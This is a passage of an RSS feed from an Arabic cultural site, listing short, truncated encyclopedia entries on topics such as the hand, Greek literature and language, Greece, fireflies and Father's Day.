    <comments>http://culture.bdr130.net/file.php?f=19153#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[اليد]]></title>
    <description><![CDATA[    تشـريح اليـد    اليــَــدُ  الطرف الأمامي للذراع. وهي مصمَّمة لمسك الأشياء، ولها إبهام يُمكنه التحرك فوق الأصابع. وبفضل هذه الحركة تتمكَّن اليد من مسك الكثير من الأشياء الصغيرة الحجم والقيام بحركات غاية في الدقة. ولم يكن بالإمكان إنجا]]></description>
    <link>http://culture.bdr130.net/file.php?f=19152</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19152#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[اليوناني، الأدب]]></title>
    <description><![CDATA[اليوناني، الأدب.  الأدب اليوناني أقدم أدب قومي وأكثر الآداب تأثيرًا في العالم. فقد أصبح الأدب اليوناني (الإغريقي) القديم نموذجاً لجميع الآداب، بدءًا بالأدب اللاتيني. وقد قدّم الكُتَّاب الإغريق الكثير من الأنماط الأدبية البارزة، بما في ذلك الش]]></description>
    <link>http://culture.bdr130.net/file.php?f=19151</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19151#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[اليونانية، اللغة]]></title>
    <description><![CDATA[اليونانية، اللغة.  اللغة اليونانية واحدة من أقدم فروع مجموعة اللغات الهندو ـ أوروبية الحية. وهي تنتمي إلى اللغات اللاتينية والحيثية والسلافية القديمة والسلتية واللغات الجرمانية. ويمكن تكوين المفردات اليونانية الكلاسيكية القديمة بسهولة، وبخاص]]></description>
    <link>http://culture.bdr130.net/file.php?f=19150</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19150#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[اليونان]]></title>
    <description><![CDATA[    أثينا عاصمة اليونان وكبرى مدنه،ا بها كثير من آثار الحضارة الإغريقية القديمة كالبارثينون (يسار الوسط)، ومنشآت تاريخية أخرى تقع بين البنايات الحديثة في وسط أثينا.    اليونان  دولة صغيرة تقع في جنوبي أوروبا، حيث نشأت الحضارة الغربية قبل]]></description>
    <link>http://culture.bdr130.net/file.php?f=19149</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19149#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[يرموث الكبرى]]></title>
    <description><![CDATA[يَرْمُوث الكُبرى   مقاطعة ذات حكومة محلية على ساحل نورفوك بإنجلترا، يبلغ عدد سكانها 85,900 نسمة. تشتهر شواطئ المنطقة الرَّملية بروَّادها الذين يقضون أجازاتهم فيها. أما قرية يَرمُوث الكبرى فهي منتجع أجازات. وهي أيضًا قاعدة مهمة لتحويل وخدمة صنا]]></description>
    <link>http://culture.bdr130.net/file.php?f=19148</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19148#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[ينبوع الشباب]]></title>
    <description><![CDATA[يَنْبوع الشَّباب  كان نبعًا خياليًا،تحدثت عنه كثيرُ من الأساطير في كل أوروبا وأمريكا. لقد كان الناس يعتقدون أن مياهه تعيد كبار السن شبابًا وتشفي كل أنواع الأمراض. وكانت قبائل الهنود في أمريكا الوسطى، وجزر الهند الصينية، تعتقد أن هذا الينبوع يو]]></description>
    <link>http://culture.bdr130.net/file.php?f=19147</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19147#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[اليراعة]]></title>
    <description><![CDATA[    اليراعات  لها أجسام مسطحة مستطيلة.    اليراعة  عضو من فصيلة الخنافس ذات جسم لين، تشتهر بأنها تبعث ضوءًا براقًا أو لامعًا. يوجد من هذه الحشرة نحو 1,900 نوع، وتعيش في كل القارات عدا أنتاركتيكا. وهناك أنواع منها تنشط في أول المساء ويمكن]]></description>
    <link>http://culture.bdr130.net/file.php?f=19146</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19146#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[يوم الأب]]></title>
    <description><![CDATA[يومُ الأب  اليوم الذي تُعبِّر فيه شعوب كثيرة في الغرب عن عرفانها بالجميل وتقديرها للآباء بتقديم الهدايا وبطاقات التحية. يأتي يوم الأب في المملكة المتحدة، والولايات المتحدة وكندا، في ثالث يوم أحد من شهر يونيو. وفي أستراليا، يُحتفل به عادة في أو]]></description>
    <link>http://culture.bdr130.net/file.php?f=19145</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19145#to_comments</comments>
  </item>
</channel>
</rss>